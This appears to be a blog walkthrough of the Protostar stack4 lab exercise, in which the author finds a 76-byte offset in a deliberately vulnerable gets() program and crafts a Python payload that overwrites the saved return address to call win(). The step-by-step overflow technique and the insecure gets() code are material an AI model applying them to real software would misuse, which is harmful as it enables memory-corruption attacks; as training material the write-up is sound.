Protostar - stack4

This is my fifth post on the Protostar series hosted by Exploit Exercises

We start off with understanding what is being asked of us:


About

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4
Hints
  • A variety of introductory papers into buffer overflows may help.
  • gdb lets you do “run < input”
  • EIP is not directly after the end of buffer, compiler padding can also increase the size.

Source code



#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}




We begin by SSH'ing into the system and navigate to /opt/protostar/bin/ and run stack4 to get a feel for what's going on:


$ ls
$ cd /opt/protostar/bin/
$ ls
final0 final2  format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1 format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
$ ./stack4
aa
$ 

We now begin fuzzing. I find a segmentation fault after 100 bytes of the letter "A":


$ python -c 'print "A" * 100' > /tmp/payload
$ cat /tmp/payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./stack4 < /tmp/payload
Segmentation fault
$ 


Now that we have a seg fault, let's narrow it down by generating our string with Metasploits "pattern_create.rb":


eric@geoda:~/Documents/vulnhub/nebula/level08$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
eric@geoda:~/Documents/vulnhub/nebula/level08$ 

With our pattern created, we add it to our payload and run it through the debugger:


$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" > /tmp/payload
$ gdb -q ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) run < /tmp/payload
Starting program: /opt/protostar/bin/stack4 < /tmp/payload

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
(gdb) 

As we see, the segmentation fault occurred at 0x63413563. We take this value and add it to the other Metasploit script "pattern_offset.rb" :


eric@geoda:~/Documents/vulnhub/nebula/level08$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 63413563
[*] Exact match at offset 76
eric@geoda:~/Documents/vulnhub/nebula/level08$ 

Excellent. We are given the offset value of 76. To confirm, we create a payload with 76 "A"'s and 4 "B"s followed by a few C's afterward. We then run the binary through the debugger again:


$ python -c 'print "A" * 76 + "B" * 4 + "C" * 10' > /tmp/payload
$ cat /tmp/payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCC
$ gdb -q ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) run < /tmp/payload
Starting program: /opt/protostar/bin/stack4 < /tmp/payload

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

As expected, our segmentation fault hits at our 4 "B"s which is represented in HEX as 0x42424242. For further information we run "i r" which will run "info registers" and show us that we have controlled EIP with our 0x42 values:


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0xbffffc70 -1073742736
ecx            0xbffffc70 -1073742736
edx            0xb7fd9334 -1208118476
ebx            0xb7fd7ff4 -1208123404
esp            0xbffffcc0 0xbffffcc0
ebp            0x41414141 0x41414141
esi            0x0 0
edi            0x0 0
eip            0x42424242 0x42424242
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) 

Perfect. Now let's go back to what we need to accomplish on this:

We need to get to win() again. Let's check where it may be located. We run x/s to examine win. We also run objdump to disassemble the entire binary and we grep for "win":


(gdb) x/s win
0x80483f4 <win>:  "U\211\345\203\354\030\307\004$\340\204\004\b\350&\377\377\377\311\303U\211\345\203\344\360\203\354P\215D$\020\211\004$\350\357\376\377\377\311ÐU\211\345]Ít&"
(gdb) quit
A debugging session is active.

 Inferior 1 [process 1652] will be killed.

Quit anyway? (y or n) y
$ objdump -D ./stack4 | grep win
080483f4 <win>:
$ 

Both show that the memory address is 0x080483f4. You may note that x/s in GDB only shows 7 digits. This is because it does not print any unnecessary values such as proceeding 0's.

We need to update our payload so that we can use EIP to point to the address for win:


$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"' > /tmp/payload
$ gdb -q ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) run < /tmp/payload
Starting program: /opt/protostar/bin/stack4 < /tmp/payload
code flow successfully changed

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb)

Wewt! As expected, we have controlled EIP and allowed our message to print. We run it outside GDB to verify again:


$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"' > /tmp/payload
$ ./stack4 < /tmp/payload
code flow successfully changed
Segmentation fault
$ 

Success! We have successfully changed the code flow.

Thanks for reading!

-geoda